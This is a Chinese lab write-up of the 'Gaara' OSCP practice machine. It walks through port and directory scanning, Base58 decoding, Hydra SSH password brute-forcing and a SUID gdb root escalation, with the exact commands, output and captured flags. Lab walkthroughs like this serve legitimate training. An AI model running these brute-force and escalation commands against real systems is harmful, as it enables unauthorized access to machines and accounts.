• OSCP系列靶场-Esay-Gaara保姆级


    OSCP系列靶场-Esay-Gaara

    总结

    getwebshell → 通过大字典爆破得到端点 → 利用工具对比得到加密信息 → 寻求百度帮助确认加密方式 → 解密得到用户名 → ssh爆破密码登录

    提 权 思 路 → suid-gdb提权

    准备工作

    • 启动VPN
      获取攻击机IP → 192.168.45.194

    • 启动靶机
      获取目标机器IP → 192.168.227.142

    信息收集-端口扫描

    目标开放端口收集

    • Nmap开放端口扫描2次
    sudo nmap --min-rate 10000 -p- 192.168.227.142
    
    PORT   STATE SERVICE
    22/tcp open  ssh
    80/tcp open  http
    
    • 1
    • 2
    • 3
    • 4
    • 5


    通过两次收集到的端口:→22,80

    目标端口对应服务探测

    # tcp探测
    sudo nmap -sT -sV -O -sC -p22,80 192.168.227.142
    
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
    | ssh-hostkey: 
    |   2048 3e:a3:6f:64:03:33:1e:76:f8:e4:98:fe:be:e9:8e:58 (RSA)
    |   256 6c:0e:b5:00:e7:42:44:48:65:ef:fe:d7:7c:e6:64:d5 (ECDSA)
    |_  256 b7:51:f2:f9:85:57:66:a8:65:54:2e:05:f9:40:d2:f4 (ED25519)
    80/tcp open  http    Apache httpd 2.4.38 ((Debian))
    |_http-title: Gaara
    Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
    Aggressive OS guesses: Linux 2.6.18 (87%), Linux 4.15 - 5.8 (87%), Linux 5.0 - 5.4 (87%), Linux 2.6.32 (87%), Linux 2.6.32 or 3.10 (87%), Linux 2.6.39 (87%), Linux 3.10 - 3.12 (87%), Linux 3.4 (87%), Linux 3.7 (87%), Linux 4.4 (87%)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    信息收集-端口测试

    22-SSH端口的信息收集

    22-SSH端口版本信息与MSF利用

    通过Nmap探测获得SSH的版本信息,可以尝试利用
    探测版本为OpenSSH 7.9p1 Debian

    # 进入msf
    msfconsole
    # 搜索对应脚本
    msf6 → searchsploit openssh 7.9p1
    
    • 1
    • 2
    • 3
    • 4

    22-SSH协议支持的登录方式

    通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

    ssh root @ 192.168.227.142 -v
    # 如果显示publickey、password就是支持密钥以及密码登录
    
    • 1
    • 2

    22-SSH弱口令爆破(待定)

    尝试root账户的密码爆破,利用工具hydra,线程-t为6

    hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.227.142 ssh -s 22
    
    • 1

    静静爆破,等待结果

    22-SSH手动登录尝试(无)

    尝试root账户的密码爆破发现报错之后进行手动尝试

    ssh root<span>@192.168.227.142</span> -p 22
    # 密码尝试
    password → root
    
    • 1
    • 2
    • 3

    80-HTTP端口的信息收集

    访问 http://192.168.227.142:80 是一张我爱罗的图片,应该是一个个人站点,从源码查看开始

    信息收集-源码查看
    # 包括文章中是否写明一些敏感信息
    curl http://192.168.227.142:80
    
        Gaara
            <img src="gaara.jpg" alt="wallpaper" width="100%" height="100%">
           
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    没什么利用信息

    信息收集-目录扫描
    信息收集-目录扫描初步
    dirsearch -u http://192.168.227.142:80 -x 302,403
    
    200 -  137B  - /index.html
    
    • 1
    • 2
    • 3


    发现没有扫描出内容,决定换一个扫描工具上大字典,不清楚脚本语言,先不加

    信息收集-目录扫描(深度/大字典)
    gobuster dir -u http://192.168.227.142:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 1000 -k
    
    • 1

    通过大字典扫描出了一个端点/Cryoserver

    信息收集-目录访问

    /Cryoserver端点访问
    访问 http://192.168.227.142:80/Cryoserver 发现是空白,进行信息收集尝试,若无思路可能要爆破后缀的字典

    信息收集-源码查看
    # 包括文章中是否写明一些敏感信息
    curl http://192.168.227.142:80/Cryoserver
    
    • 1
    • 2

    通过查看源码,发现了好像有3个额外的端点


    尝试进行访问,发现是3篇文章,看上去差不多
    /Temari


    /Kazekage


    /iamGaara

    端点分析

    利用wget下载之后发现还是存在一定的区别的


    通过chatgpt的回答下载了文本对比工具meld准备对三个文件进行比较


    发现文本中存在奇怪的换行以及多了的字符串f1MgN9mTf9SNbzRygcU

    解密尝试

    f1MgN9mTf9SNbzRygcU是什么类型的加密呢??
    试了半天解不出来,百度一搜,emmmmm base58


    百度了一个解密工具进行解密 https://tools.qsnctf.com/tools/Tools/Base58/index.php


    得到了gaara:ismyname 推测是ssh登录的关键

    漏洞利用-getwebshell

    SSH登录尝试(失败)

    获取账号密码之后利用SSH进行登录

    ssh gaara @192.168.227.142 -p22
    password → ismyname
    
    • 1
    • 2

    发现利用这个方式登录失败,研究ismyname的英文确定gaara是名字

    暴力破解-SSH密码爆破hydra

    这时候会想生成一个密码字典跑,但是这个网站给的信息太少了,生成cewl没用,尝试用hydra爆破

    # -P指定密码字典
    hydra -l gaara -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.227.142 ssh -s 22
    
    • 1
    • 2

    [DATA] attacking ssh://192.168.227.142:22/
    [STATUS] 147.00 tries/min, 147 tries in 00:01h, 865 to do in 00:06h, 16 active
    [22][ssh] host: 192.168.227.142   login: gaara   password: iloveyou2
    1 of 1 target successfully completed, 1 valid password found
    
    [DATA] attacking ssh://192.168.227.142:22/
    [STATUS] 147.00 tries/min, 147 tries in 00:01h, 865 to do in 00:06h, 16 active
    [22][ssh] host: 192.168.227.142   login: gaara   password: iloveyou2
    1 of 1 target successfully completed, 1 valid password found
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    得到了gaara的密码iloveyou2进行ssh登录

    ssh gaara @192.168.227.142  -p22
    password → iloveyou2
    
    • 1
    • 2

    内网遨游-getshell

    FLAG1获取

    gaara @Gaara :~$ find / -name local.txt 2→/dev/null
    /home/gaara/local.txt
    gaara @Gaara :~$ cat /home/gaara/local.txt
    c7dde1de7308136cdf71fd56da509c56
    
    • 1
    • 2
    • 3
    • 4

    信息收集-内网基础信息收集

    提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

    检测Linux操作系统的发行版本

    较老的Ubuntu以及Linux系统可以overlayfs提权

    # 确定发行版本
    lsb_release -a
    
    • 1
    • 2

    发行版本为Debian,不太能overlayfs提权

    检测Linux操作系统的内核版本

    较低的内核版本可以进行脏牛提权

    uname -a
    
    • 1

    内核版本为4.19

    列举出所有的sudo文件

    查找具有sudo权限,且不需要密码的可提权文件
    如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

    # 利用sudo -l寻找
    sudo -l
    
    • 1
    • 2

    发现需要密码,使用gaara的密码失败

    列举出所有suid文件

    如果发现sudo -l有东西的话

    # -perm 文件权限
    find / -perm -u=s -type f 2→/dev/null
    
    • 1
    • 2

    访问 https://gtfobins.github.io 寻找


    发现存在gdb

    权限提升

    suid-gdb提权
    sudo install -m =xs $(which gdb) .
    ./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
    
    • 1
    • 2


    使用搜集到的提权命令进行提权

    gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
    
    • 1

    提权成功

    FLAG2获取

    # cat /root/proof.txt
    ec1e6ac3f00776edb8fac5807c14548b
    
    • 1
    • 2

    完结撒花~

    反思

    从最开始访问80就在提示用户是gaara


    再到后面发现的目录文件名iamgaara也在提示

  • 相关阅读:
    仿牌独立站如何通过PayPal.Me亲友付进行收款
    【培训课程专用】中断路由代码导读:当cpu运行在TEE来了一个Secure Group1中断
    如何使用Docker部署debezium来监控 MySQL 数据库
    Java--String--原理--intern方法
    MySQL的Undo Log、Redo Log和Binlog
    网站吊唁效果(黑白)
    浅谈单点登录SSO实现方案 | StartDT Tech Lab 06
    Jeff Dean:深度学习的黄金十年
    [音视频] SDL 渲染
    DataFrame中的isin查询使用
  • 原文地址:https://blog.csdn.net/qq_61812944/article/details/133121873